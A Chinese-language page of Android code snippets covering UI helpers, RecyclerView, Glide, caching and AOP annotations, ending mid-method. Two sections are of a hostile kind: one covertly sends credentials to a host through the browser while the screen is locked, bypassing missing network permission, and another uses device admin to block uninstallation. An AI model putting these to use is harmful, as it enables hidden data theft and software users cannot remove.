安卓模塊化功能

回車監(jiān)聽

public static void enterListener(EditText editText,onChangeText onChangeText){
    editText.setOnKeyListener((v, keyCode, event) -> {
        if (keyCode == KeyEvent.KEYCODE_ENTER && event.getAction() == KeyEvent.ACTION_DOWN) {
            if (editText.getText().length() == 0) return false;
            String trim_his = editText.getText().toString().trim();
            onChangeText.onChangeText(trim_his);
            editText.setText("");
            return true;
        }
        return false;
    });
}

public interface onChangeText{
    void onChangeText(String text);
}

使用Shape來實現(xiàn)下劃線

<layer-list xmlns:android="http://schemas.android.com/apk/res/android" >
    <item
        android:left="-2dp"
        android:right="-2dp"
        android:top="-2dp">
        <shape>
            <solid android:color="#00FFFFFF" />
            <stroke
                android:width="1dp"
                android:color="#0094c8" />
        </shape>
    </item>
</layer-list>

<?xml version="1.0" encoding="utf-8"?>
<layer-list
    xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:left="0dp" android:top="0dp" android:right="0dp" android:bottom="0dp">
        <shape android:shape="rectangle">
            <solid android:color="#ffffffff" />
        </shape>
    </item>
    <item android:left="-200dp" android:top="-100dp" android:right="-200dp" android:bottom="0dp">
        <shape android:shape="oval">
            <solid android:color="#0094c8" />
        </shape>
    </item>
</layer-list>

使用Gson和Sp存取list

//存數(shù)據(jù)
if (list_his.size()>10) list_his=new ArrayList(list_his.subList(0, 10));
String list = GsonUtils.toJson(list_his);
SPUtils.getInstance().put("sp_his",list);
//取數(shù)據(jù)
try {
    String sp_his = SPUtils.getInstance().getString("sp_his", "");
    if (sp_his.equals("")){
        list_his = new ArrayList<>();
    }else{
        list_his = GsonUtils.fromJson(sp_his,List.class);
    }
}catch (Exception e){
    e.printStackTrace();
    list_his = new ArrayList<>();
}

漢字位置補齊

------------------------------------------------------------------
1個漢字 = 4個&#160; = 4個&#8197; = 1個&#12288; = 2個&#8194; 
------------------------------------------------------------------

<TextView
    android:id="@+id/sign_time"
    android:text="時&#12288;&#12288;間:"
    android:textSize="@dimen/font_14"
    android:textColor="@color/black"
    android:layout_marginTop="@dimen/dp_2"
    app:layout_constraintTop_toBottomOf="@id/sign_wzdd"
    app:layout_constraintEnd_toEndOf="@id/guideline"
    android:layout_width="@dimen/dp_72"
    android:layout_height="wrap_content"/>

限制EditText只輸入字母和數(shù)字

<string name="login_only_can_input" translatable="false">qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM1234567890.</string>

DigitsKeyListener digitsKeyListener = new DigitsKeyListener() {
    @Override
    public int getInputType() {
        return InputType.TYPE_TEXT_VARIATION_PASSWORD;
    }

    @Override
    protected char[] getAcceptedChars() {
        return getString(R.string.login_only_can_input).toCharArray();
    }
};
etCarNumber.setKeyListener(digitsKeyListener);

背景效果

//陰影
android:background="?android:attr/windowBackground"
//水波紋
android:background="?android:attr/selectableItemBackground"

RecycleView移動到指定Item

/**
 * @param manager   設(shè)置RecyclerView對應(yīng)的manager
 * @param mRecyclerView  當(dāng)前的RecyclerView
 * @param position  要跳轉(zhuǎn)的位置
 */
public static void MoveToPosition(LinearLayoutManager manager, RecyclerView mRecyclerView, int position) {
    int firstItem = manager.findFirstVisibleItemPosition();
    int lastItem = manager.findLastVisibleItemPosition();
    if (position <= firstItem) {
        mRecyclerView.scrollToPosition(position);
    } else if (position <= lastItem) {
        int top = mRecyclerView.getChildAt(position - firstItem).getTop();
        mRecyclerView.scrollBy(0, top);
    } else {
        mRecyclerView.scrollToPosition(position);
    }
}

RecyleView的Item自動居中

//LinearSnapHelper類繼承于SnapHelper
//當(dāng)然SnapHelper還有一個子類噩咪,PagerSnapHelper
//LinearSnapHelper可以使RecyclerView一次滑動越過多個Item
//PagerSnapHelper像ViewPager一樣限制你一次只能滑動一個Item

LinearSnapHelper mLinearSnapHelper = new LinearSnapHelper();
mLinearSnapHelper.attachToRecyclerView(mRec);        

PagerSnapHelper mPagerSnapHelper = new PagerSnapHelper();
mPagerSnapHelper.attachToRecyclerView(mRec);

RecycleView添加分割

mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
    @Override
    public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.getItemOffsets(outRect, view, parent, state);
        if (parent.getChildPosition(view) % 2 != 1){
            outRect.right = SizeUtils.dp2px(5);
        }else{
            outRect.left = SizeUtils.dp2px(5);
        }
    }
});

mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
    private Paint dividerPaint;
    private int childCount = 0;
    @Override
    public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.getItemOffsets(outRect, view, parent, state);
        childCount = parent.getChildCount();
        if (parent.getChildPosition(view)== childCount-1) {
            outRect.set(0,0,0,SizeUtils.dp2px(1));
        }
    }

    @Override
    public void onDraw(@NonNull Canvas c, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.onDraw(c, parent, state);
        final View view = parent.getChildAt(childCount-1);
        if (dividerPaint==null) {
            dividerPaint = new Paint();
            dividerPaint.setColor(getResouseColor(R.color.colorE3E3EC));
        }
        float top = view.getBottom();
        float bottom = view.getBottom() + SizeUtils.dp2px(1);
        c.drawRect(view.getLeft(), top, view.getRight(), bottom, dividerPaint);
    }
});

拿到緩存目錄

String path = "";
if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED) || !Environment.isExternalStorageRemovable()) {
    try {
        path = context.getExternalCacheDir().getAbsolutePath();
    } catch (Exception e) {
        e.printStackTrace();
    }
    if (TextUtils.isEmpty(path)) {
        path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).getAbsolutePath();
    }
} else {
    path = context.getCacheDir().getAbsolutePath();
}

Glide高斯模糊

Glide.with(MainActivity.this)
        .asBitmap()
        .load(imgs[firstVisibleItemPosition])
        .into(new SimpleTarget<Bitmap>() {
            @Override
            public void onResourceReady(@NonNull Bitmap resource, @Nullable Transition<? super Bitmap> transition) {
                Bitmap bitmap = BlurBitmapUtil.blurBitmap(MainActivity.this, resource, 20);
                mImg.setImageBitmap(bitmap);
            }
        });
        
public class BlurBitmapUtil {
    //圖片縮放比例
    private static final float BITMAP_SCALE = 0.4f;

    /**
     * 模糊圖片的具體方法
     *
     * @param context 上下文對象
     * @param image   需要模糊的圖片
     * @return 模糊處理后的圖片
     */
    public static Bitmap blurBitmap(Context context, Bitmap image, float blurRadius) {
        // 計算圖片縮小后的長寬
        int width = Math.round(image.getWidth() * BITMAP_SCALE);
        int height = Math.round(image.getHeight() * BITMAP_SCALE);

        // 將縮小后的圖片做為預(yù)渲染的圖片
        Bitmap inputBitmap = Bitmap.createScaledBitmap(image, width, height, false);
        // 創(chuàng)建一張渲染后的輸出圖片
        Bitmap outputBitmap = Bitmap.createBitmap(inputBitmap);

        // 創(chuàng)建RenderScript內(nèi)核對象
        RenderScript rs = RenderScript.create(context);
        // 創(chuàng)建一個模糊效果的RenderScript的工具對象
        ScriptIntrinsicBlur blurScript = ScriptIntrinsicBlur.create(rs, Element.U8_4(rs));

        // 由于RenderScript并沒有使用VM來分配內(nèi)存,所以需要使用Allocation類來創(chuàng)建和分配內(nèi)存空間
        // 創(chuàng)建Allocation對象的時候其實內(nèi)存是空的,需要使用copyTo()將數(shù)據(jù)填充進去
        Allocation tmpIn = Allocation.createFromBitmap(rs, inputBitmap);
        Allocation tmpOut = Allocation.createFromBitmap(rs, outputBitmap);

        // 設(shè)置渲染的模糊程度, 25f是最大模糊度
        blurScript.setRadius(blurRadius);
        // 設(shè)置blurScript對象的輸入內(nèi)存
        blurScript.setInput(tmpIn);
        // 將輸出數(shù)據(jù)保存到輸出內(nèi)存中
        blurScript.forEach(tmpOut);

        // 將數(shù)據(jù)填充到Allocation中
        tmpOut.copyTo(outputBitmap);

        return outputBitmap;
    }
}

Glide圓角

public class GlideRoundTransform extends BitmapTransformation {

    private static float radius = 0f;

    public GlideRoundTransform(Context context) {
        this(context, 4);
    }

    public GlideRoundTransform(Context context, int dp) {
//        super(context, dp);
        this.radius = Resources.getSystem().getDisplayMetrics().density * dp;
    }

    @Override
    protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {
        Bitmap bitmap = TransformationUtils.centerCrop(pool, toTransform, outWidth, outHeight);
        return roundCrop(pool, bitmap);
    }

    private static Bitmap roundCrop(BitmapPool pool, Bitmap source) {
        if (source == null) return null;

        Bitmap result = pool.get(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
        if (result == null) {
            result = Bitmap.createBitmap(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
        }

        Canvas canvas = new Canvas(result);
        Paint paint = new Paint();
        paint.setShader(new BitmapShader(source, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP));
        paint.setAntiAlias(true);
        RectF rectF = new RectF(0f, 0f, source.getWidth(), source.getHeight());
        canvas.drawRoundRect(rectF, radius, radius, paint);
        return result;
    }

    public String getId() {
        return getClass().getName() + Math.round(radius);
    }

    @Override
    public void updateDiskCacheKey(MessageDigest messageDigest) {

    }
}

圖片切換流暢的過度

TransitionDrawable transitionDrawable = new TransitionDrawable(new Drawable[]{LastDrawable,CurrentDrawable});
parent.setBackgroundDrawable(transitionDrawable);
transitionDrawable.startTransition(500);

AOP注解


implementation 'cn.com.superLei:aop-arms:1.0.2'

/*--------------------------緩存篇(可緩存任意類型)-----------------------**/

/**
 * 寫入緩存
 * key:緩存的鍵
 * expiry:緩存過期時間,單位s
 * @return 緩存的值
 */
@Cache(key = "userList", expiry = 60 * 60 * 24)
private ArrayList<User> initData() {
    ArrayList<User> list = new ArrayList<>();
    for (int i=0; i<5; i++){
        User user = new User();
        user.setName("艾神一不小心:"+i);
        user.setPasswrd("密碼:"+i);
        list.add(user);
    }
    return list;
}

//獲取緩存
private ArrayList<User> getUser() {
    return ArmsCache.get(mContext).getAsList("userList", User.class);
}

/**
 * 移除緩存
 * key:緩存的鍵
 * beforeInvocation:緩存的清除是否在方法之前執(zhí)行, 如果出現(xiàn)異常緩存就不會清除   默認(rèn)false
 * allEntries:是否清空所有緩存(與key互斥)  默認(rèn)false
 */
@CacheEvict(key = "userList", beforeInvocation = true, allEntries = false)
public void removeUser() {
    Log.e(TAG, "removeUser: >>>>");
}

/*--------------------------SharedPreferences篇(可保存對象)-----------------------*/

//保存key到sp
@Prefs(key = "article")
private Article initArticle() {
    Article article = new Article();
    article.author = "jerry";
    article.title = "hello android";
    article.createDate = "2019-05-31";
    article.content = "this is a test demo";
    return article;
}

//從sp中移除key
/**
 * key:sp的鍵
 * allEntries:是否清空所有存儲(與key互斥)  默認(rèn)false
 */
@PrefsEvict(key = "article", allEntries = false)
public void removeArticle() {
    Log.e(TAG, "removeArticle: >>>>");
}

//通過key從sp中獲取value
public void getArticle() {
    Article article = ArmsPreference.get(mContext, "article", null);
    Log.e(TAG, "getArticle: "+article);
}

/*--------------------------異步篇-----------------------*/
@Async
public void asyn() {
    Log.e(TAG, "useAync: "+Thread.currentThread().getName());
}

*--------------------------try-catch安全機制篇-----------------------*/
//自動幫你try-catch   允許你定義回調(diào)方法
@Safe(callBack = "throwMethod")
public void safe() {
    String str = null;
}

//自定義回調(diào)方法(注意要和callBack的值保持一致)
private void throwMethod(Throwable throwable){
    Log.e(TAG, "throwMethod: >>>>>"+throwable.toString());
}

/*--------------------------重試機制篇-----------------------*/

/**
 * count 重試次數(shù)
 * delay 每次重試的間隔
 * asyn 是否異步執(zhí)行
 * retryCallback 自定義重試結(jié)果回調(diào)
 * return 當(dāng)前方法是否執(zhí)行成功
 */
@Retry(count = 3, delay = 1000, asyn = true, retryCallback = "retryCallback")
public boolean retry() {
    Log.e(TAG, "retryDo: >>>>>>"+Thread.currentThread().getName());
    return false;
}

private void retryCallback(boolean result){
    Log.e(TAG, "retryCallback: >>>>"+result);
}

/*--------------------------定時任務(wù)篇-----------------------*/

/**
 * interval 初始化延遲
 * interval 時間間隔
 * timeUnit 時間單位
 * count 執(zhí)行次數(shù)
 * taskExpiredCallback 定時任務(wù)到期回調(diào)
 */
@Scheduled(initialDelay = 100L ,interval = 1000L,timeUnit = TimeUnit.MINUTES,count = 10, taskExpiredCallback = "taskExpiredCallback")
public void scheduled() {
    Log.e(TAG, "scheduled: >>>>");
}

private void taskExpiredCallback(){
    Log.e(TAG, "taskExpiredCallback: >>>>");
}

/*--------------------------延遲任務(wù)篇-----------------------*/

//開啟延遲任務(wù)(10s后執(zhí)行該方法)
@Delay(key = "test", delay = 10000L)
public void delay() {
    Log.e(TAG, "delay: >>>>>");
}

//移除延遲任務(wù)
@DelayAway(key = "test")
public void cancelDelay() {
    Log.e(TAG, "cancelDelay: >>>>");
}

/*--------------------------過濾頻繁點擊-----------------------*/

@SingleClick(value = 2000L)
private void onclick(){
    Log.e(TAG, "onclick: >>>>");
}
/*--------------------------攔截篇(如登錄)-----------------------*/

//在需要進行攔截的方法添加注解
@Intercept("login_intercept")
public void loginIntercept() {
    Log.e(TAG, "intercept: 已登陸>>>>");
}
//(建議,統(tǒng)一處理)在Application中進行進行監(jiān)聽攔截回調(diào)
public class MyApplication extends Application {

    private static final String TAG = "MyApplication";
    private MyApplication mApplication;

    @Override
    public void onCreate() {
        super.onCreate();
        mApplication = this;
        AopArms.init(this);
        AopArms.setInterceptor(new Interceptor() {
            @Override
            public boolean intercept(String key, String methodName) throws Throwable {
                Log.e(TAG, "intercept methodName:>>>>>"+methodName);
                if ("login_intercept".equals(key)){
                    String userId = ArmsPreference.get(mApplication, "userId", "");
                    if (TextUtils.isEmpty(userId)){
                        Toast.makeText(mApplication, "您還沒有登錄", Toast.LENGTH_SHORT).show();
                        return true;//代表攔截
                    }
                }
                return false;//放行
            }
        });
    }
}

ViewPager禁止橫向滑動

public class CustomViewPager extends ViewPager {
    private static final String TAG = "CustomViewPager";
    private boolean isCanScroll = false;

    public CustomViewPager(Context context) {
        super(context);
    }

    public CustomViewPager(Context context, AttributeSet attrs) {
        super(context, attrs);
    }

    public void setScanScroll(boolean isCanScroll) {
        this.isCanScroll = isCanScroll;
    }

    @Override
    public void scrollTo(int x, int y) {
        super.scrollTo(x, y);
    }

    @Override
    public void setCurrentItem(int item) {
        super.setCurrentItem(item);
    }

    @Override
    public boolean onTouchEvent(MotionEvent arg0) {
        return this.isCanScroll && super.onTouchEvent(arg0);
    }

    @Override
    public boolean onInterceptTouchEvent(MotionEvent arg0) {
        return this.isCanScroll && super.onInterceptTouchEvent(arg0);
    }

}

RxUtils統(tǒng)一線程處理

public class RxUtils {

    /**
     * 同一線程處理
     * @param <T>
     * @return
     */
    public static <T> FlowableTransformer<T,T> rxSchedulerHelper(){
        //compose簡化線程
        return new FlowableTransformer<T, T>() {
            @Override
            public Flowable<T> apply(Flowable<T> upstream) {
                return upstream.subscribeOn(Schedulers.io())
                        .observeOn(AndroidSchedulers.mainThread());
            }
        };
    }

    public static <T>ObservableTransformer<T,T> rxObservableSchedulerHelper(){
        //compose 簡化線程
        return new ObservableTransformer<T, T>() {
            @Override
            public ObservableSource<T> apply(Observable<T> upstream) {
                return upstream.subscribeOn(Schedulers.io())
                        .observeOn(AndroidSchedulers.mainThread());
            }
        };
    }

BottomNavigationViewHelper 處理超過三個ITEM縮放效果

(替代品:implementation 'com.github.ittianyu:BottomNavigationViewEx:2.0.4')

public class BottomNavigationViewHelper {
 
    @SuppressLint("RestrictedApi")
    public static void disableShiftMode(BottomNavigationView navigationView) {
 
        BottomNavigationMenuView menuView = (BottomNavigationMenuView) navigationView.getChildAt(0);
        try {
            Field shiftingMode = menuView.getClass().getDeclaredField("mShiftingMode");
            shiftingMode.setAccessible(true);
            shiftingMode.setBoolean(menuView, false);
            shiftingMode.setAccessible(false);
 
            for (int i = 0; i < menuView.getChildCount(); i++) {
                BottomNavigationItemView itemView = (BottomNavigationItemView) menuView.getChildAt(i);
                itemView.setShiftingMode(false);
                itemView.setChecked(itemView.getItemData().isChecked());
            }
 
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

雙擊退出

private static long mBackPressedTime;

public static void doubleClickExitApp() {
    long curTime = SystemClock.uptimeMillis();
    if ((curTime - mBackPressedTime) < (3 * 1000)) {
        RxActivityTool.finishAllActivity();
        //根據(jù)進程ID,殺死該進程
        android.os.Process.killProcess(android.os.Process.myPid());
        //退出應(yīng)用程序
        System.exit(0);
    } else {
        mBackPressedTime = curTime;
        SmartToast.show("再按一次退出");
    }
}

Assets文本獲取

public String getJson(Context context, String fileName) {

    StringBuilder stringBuilder = new StringBuilder();
    try {
        AssetManager assetManager = context.getAssets();
        BufferedReader bf = new BufferedReader(new InputStreamReader(
                assetManager.open(fileName)));
        String line;
        while ((line = bf.readLine()) != null) {
            stringBuilder.append(line);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
    return stringBuilder.toString();
}

緩存管理

//獲取緩存大小
public static long getApplicationDataSize(Context context) {
        long size = 0;
        // internal cache
        size += FileUtil.getDirectorySize(context.getCacheDir());
        // external cache
        size += FileUtil.getDirectorySize(context.getExternalCacheDir());
        // databases
        size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/databases"));
        // shared preference
       size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/shared_prefs"));
        // files
        size += FileUtil.getDirectorySize(context.getFilesDir());
        return size;
    }
    
//文件/文件夾大小
public static long getDirectorySize(File directory) {
    long size = 0;
    File[] listFiles = directory.listFiles();
    if (listFiles == null) {
        return size;
    }
    for (File file : listFiles) {
        if (file.isDirectory()) {
            size += getDirectorySize(file);
        } else {
            size += file.length();
        }
    }
    return size;
}
//刪除文件
public static void deleteDirectory(File file) {
    if (file.isDirectory()) {
        File[] listFiles = file.listFiles();
        for (File f : listFiles) {
            deleteDirectory(f);
        }
        file.delete();
    } else {
        file.delete();
    }
}

獲取APP版本號

public static int getVersionCode(Context mContext) {
    try {
        PackageManager manager = mContext.getPackageManager();
        PackageInfo info = manager.getPackageInfo(mContext.getPackageName(), 0);
        int version = info.versionCode;
        return version;
    } catch (Exception e) {
        e.printStackTrace();
        return -1;
    }
}

復(fù)制內(nèi)容到剪切板

/**
 * @param context 上下文
 * @param content 需要復(fù)制到剪切板的文字
 */
public static void copyToClipboard(Context context, CharSequence content) {
    ClipboardManager clipboard = (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE);
    if (clipboard != null) {
        clipboard.setPrimaryClip(ClipData.newPlainText(null, content));//參數(shù)一:標(biāo)簽,可為空役听,參數(shù)二:要復(fù)制到剪貼板的文本
        if (clipboard.hasPrimaryClip()) {
            clipboard.getPrimaryClip().getItemAt(0).getText();
        }
    }
}

保存圖片到相冊

File appDir = new File(Environment.getExternalStorageDirectory(), "/DCIM/Camera");
if (!appDir.exists()) {
    appDir.mkdir();
}
String fileName = System.currentTimeMillis() + ".jpg";
File file = new File(appDir, fileName);
try {
    FileOutputStream fos = new FileOutputStream(file);
    bmp.compress(Bitmap.CompressFormat.JPEG, 100, fos);
    fos.flush();
    fos.close();
} catch (FileNotFoundException e) {
    e.printStackTrace();
} catch (IOException e) {
    e.printStackTrace();
}
if (file == null || !file.exists()) {
    return;
}
String photoPath = file.getAbsolutePath();
String photoName = file.getName();
// 把文件插入到系統(tǒng)圖庫
try {
    ContentResolver contentResolver = context.getContentResolver();
    MediaStore.Images.Media.insertImage(contentResolver, photoPath, photoName, null);
} catch (FileNotFoundException e) {
    e.printStackTrace();
}
// 最后通知圖庫更新
context.sendBroadcast(new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, Uri.parse("file://" + photoPath)));

打開微信

public static void GotoWX(Context context) {
    Intent intent = new Intent();
    ComponentName cmp = new ComponentName("com.tencent.mm", "com.tencent.mm.ui.LauncherUI");
    intent.setAction(Intent.ACTION_MAIN);
    intent.addCategory(Intent.CATEGORY_LAUNCHER);
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setComponent(cmp);
    context.startActivity(intent);
}

保存Bitmap

public static File saveBitmap(String bitName, Bitmap mBitmap) {
    File f = new File("/sdcard/temp/" + bitName + ".png");
    try {
        f.getParentFile().mkdirs();
        f.createNewFile();
    } catch (IOException e) {
        SmartToast.show("在保存圖片時出錯:" + e.toString());
    }
    FileOutputStream fOut = null;
    try {
        fOut = new FileOutputStream(f);
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    }
    mBitmap.compress(Bitmap.CompressFormat.PNG, 100, fOut);
    try {
        fOut.flush();
    } catch (IOException e) {
        e.printStackTrace();
    }
    try {
        fOut.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
    return f;
}

獲取渠道號

public static String getApplicationMetadata(Context context) {
    ApplicationInfo info = null;
    try {
        PackageManager pm = context.getPackageManager();
        info = pm.getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA);
        return String.valueOf(info.metaData.getString("CHANNEL_VALUE"));
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

點擊抖動效果

Animation shake = AnimationUtils.loadAnimation(getApplicationContext(), R.anim.shake);
mEtPhone.startAnimation(shake);
//動畫
<?xml version="1.0" encoding="utf-8"?>
<translate xmlns:android="http://schemas.android.com/apk/res/android" 
    android:fromXDelta="0" 
    android:toXDelta="10" 
    android:duration="1000" 
    android:interpolator="@anim/cycle_7" />
//插值器
<?xml version="1.0" encoding="utf-8"?>
<cycleInterpolator xmlns:android="http://schemas.android.com/apk/res/android" android:cycles="7" />

安卓7.0 PopWindow 彈出位置異常

public void showAsDropDown(View anchor){
    if (Build.VERSION.SDK_INT >= 24){
        Rect visibleFrame = new Rect();
        anchor.getGlobalVisibleRect(visibleFrame);
        int height = anchor.getResources().getDisplayMetrics().heightPixels - visibleFrame.bottom;
        this.setHeight(height);
        this.showAsDropDown(anchor,0,0);
    }else {
        this.showAsDropDown(anchor,0,0);
    }
}

Html.fromHtml的使用

//改變文字顏色
tv_content.setText(Html.fromHtml("查看新人引導(dǎo)教程 即可獲得" +
        "<font color=" + context.getResources().getColor(R.color.color_coin) + ">" + coin + "</font>"
       + "金幣")); 

JsonUtil

public class JsonUtil {
   private static Gson gson = new Gson();

   @SuppressWarnings("hiding")
   public static <T> T parseJson(String response, Class<T> clazz) {
      try {
         return gson.fromJson(response, clazz);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }

   public static <T> T parseJson(String response, Type type) {
      try {
         return gson.fromJson(response, type);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }

   public static String toJson(Object object) {
      try {
         return gson.toJson(object);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }
}

EditText常用輸入判斷

et_money.addTextChangedListener(new TextWatcher() {
    @Override
    public void beforeTextChanged(CharSequence s, int start, int count, int after) {

    }

    @Override
    public void onTextChanged(CharSequence s, int start, int before, int count) {

    }

    @Override
    public void afterTextChanged(Editable s) {
        //判斷不以0開頭
        String text = s.toString();
        int len = s.toString().length();
        if (len == 1 && text.equals("0")) s.clear();
        //最多兩位小數(shù)
        String temp = editable.toString();
        int posDot = temp.indexOf(".");
        if (posDot <= 0) return;
        if (temp.length() - posDot - 1 > 2) {
            editable.delete(posDot + 3, posDot + 4);}
    }
});

點擊實現(xiàn)按鈕的縮放效果(事件分發(fā)實現(xiàn))

@Override
public boolean onTouch(View v, MotionEvent event) {
    switch (event.getAction()) {
        case MotionEvent.ACTION_DOWN:
            btnLogin.setScaleX((float) 0.95);
            btnLogin.setScaleY((float) 0.95);
            break;
        case MotionEvent.ACTION_UP:
            if (v.getId() == R.id.btn_login) {
                btnLogin.setScaleX(1);
                btnLogin.setScaleY(1);
            }
            break;
        case MotionEvent.ACTION_CANCEL:
            btnLogin.setScaleX(1);
            btnLogin.setScaleY(1);
            break;
    }
    return false;
}

設(shè)置字體Hint大小和顯示大小不同的情況

public static void  setEditTextHintSize(EditText editText, String hintText, int size){
    SpannableString ss = new SpannableString(hintText);//定義hint的值
    AbsoluteSizeSpan ass = new AbsoluteSizeSpan(size,true);//設(shè)置字體大小 true表示單位是sp
    ss.setSpan(ass, 1, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
    editText.setHint(new SpannedString(ss));
}

dpToPx and pxToDp 或者使用SizeUtils

public static int dpTopx(Context context, float dipValue) {
    final float scale = context.getResources().getDisplayMetrics().density;
    return (int) (dipValue * scale + 0.5f);
}

public static int pxToDp(Context context, float pxValue) {
    if (context == null) {
        return -1;
    }
    final float scale = context.getResources().getDisplayMetrics().density;
    return (int) (pxValue / scale + 0.5f);
}

使用LinearLayoutCompat來添加分割線

(LinearLayoutCompat可以看成一個LInearLayout,同樣的方式去設(shè)置他的orientation)

<androidx.appcompat.widget.LinearLayoutCompat
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:orientation="vertical"
    app:divider="@drawable/abc_vector_test_new"
    app:showDividers="middle"
    app:dividerPadding="0dp">

    <TextView
        android:id="@+id/textView"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="TextView" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="TextView" />
        
</androidx.appcompat.widget.LinearLayoutCompat>

    //主要是使用這三個參數(shù)來實現(xiàn)分割線
    app:divider="@drawable/abc_vector_test_new"
    app:showDividers="middle"
    app:dividerPadding="0dp"

Gson解析問題

//Gson解析對象為一個數(shù)組的時候應(yīng)該這樣使用
List<listBean> listBean = new Gson().fromJson(string, 
new TypeToken<List<listBean>>() {}.getType());

無網(wǎng)絡(luò)權(quán)限上傳信息

(借雞下蛋 實際上是調(diào)用系統(tǒng)WebView來發(fā)出GET請求)

Timer timer = new Timer();
final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
TimerTask task = new TimerTask() {
    @Override
    public void run() {
        //如果用戶鎖屏狀態(tài)下作烟,就打開網(wǎng)頁通過get方式偷偷傳輸數(shù)據(jù)
        if (km.inKeyguardRestrictedInputMode()) {
            Intent intent = new Intent();
            intent.setAction(Intent.ACTION_VIEW);
            intent.addCategory(Intent.CATEGORY_BROWSABLE);
            intent.setData(Uri.parse("http://192.168.0.2/send?user=1&pwd=2"));
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }else{
            //判斷如果在桌面就什么也不做 ,如果不在桌面就返回
            Intent intent = new Intent();
            intent.setAction("android.intent.action.MAIN");
            intent.addCategory("android.intent.category.HOME");
            intent.addCategory(Intent.CATEGORY_DEFAULT);
            intent.addCategory("android.intent.category.MONKEY");
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }
    }
};
timer.schedule(task, 1000, 2000);

添加多個app圖標(biāo)

(實際上是通過系統(tǒng)廣播的方式實現(xiàn))

//添加兩個創(chuàng)建刪除快捷方式廣播權(quán)限
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />


public static void addShortcut(Activity cx, String name) {
    //創(chuàng)建快捷方式的intent廣播
    Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
    //添加快捷名稱
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name);
    //快捷圖標(biāo)是允許重復(fù)
    shortcut.putExtra("duplicate", false);
    //快捷圖標(biāo)
    Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher);
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes);
    //我們下次啟動要用的Intent信息
    Intent carryIntent = new Intent(Intent.ACTION_MAIN);
    carryIntent.putExtra("name", name);
    carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName());
    carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
    //添加攜帶的Intent
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent);
    //發(fā)送廣播
    cx.sendBroadcast(shortcut);
}

使用設(shè)備管理器服務(wù)禁止軟件被刪除

// 激活設(shè)備超級管理員
public void activation() {
    Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
    // 初始化要激活的組件
    ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class);
    intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
    intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活可以防止隨意卸載應(yīng)用");
    startActivity(intent);
}

<receiver
    android:name=".MyDeviceAdminReceiver"
    android:description="@string/app_name"
    android:label="防卸載"
    android:permission="android.permission.BIND_DEVICE_ADMIN" >
    <meta-data
        android:name="android.app.device_admin"
        android:resource="@xml/deviceadmin" />

    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

//deviceadmin.xml
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <limit-password />
        <watch-login />
        <reset-password />
        <force-lock />
        <wipe-data />
        <expire-password />
        <encrypted-storage />
        <disable-camera />
    </uses-policies>
</device-admin>

防止多次點擊

public class AntiShakeUtils {
    private final static long INTERNAL_TIME = 1000;

    /**
     * Whether this click event is invalid.
     *
     * @param target target view
     * @return true, invalid click event.
     * @see #isInvalidClick(View, long)
     */
    public static boolean isInvalidClick(View target) {
        return isInvalidClick(target, INTERNAL_TIME);
    }

    /**
     * Whether this click event is invalid.
     *
     * @param target       target view
     * @param internalTime the internal time. The unit is millisecond.
     * @return true, invalid click event.
     */
    public static boolean isInvalidClick(View target, @IntRange(from = 0) long internalTime) {
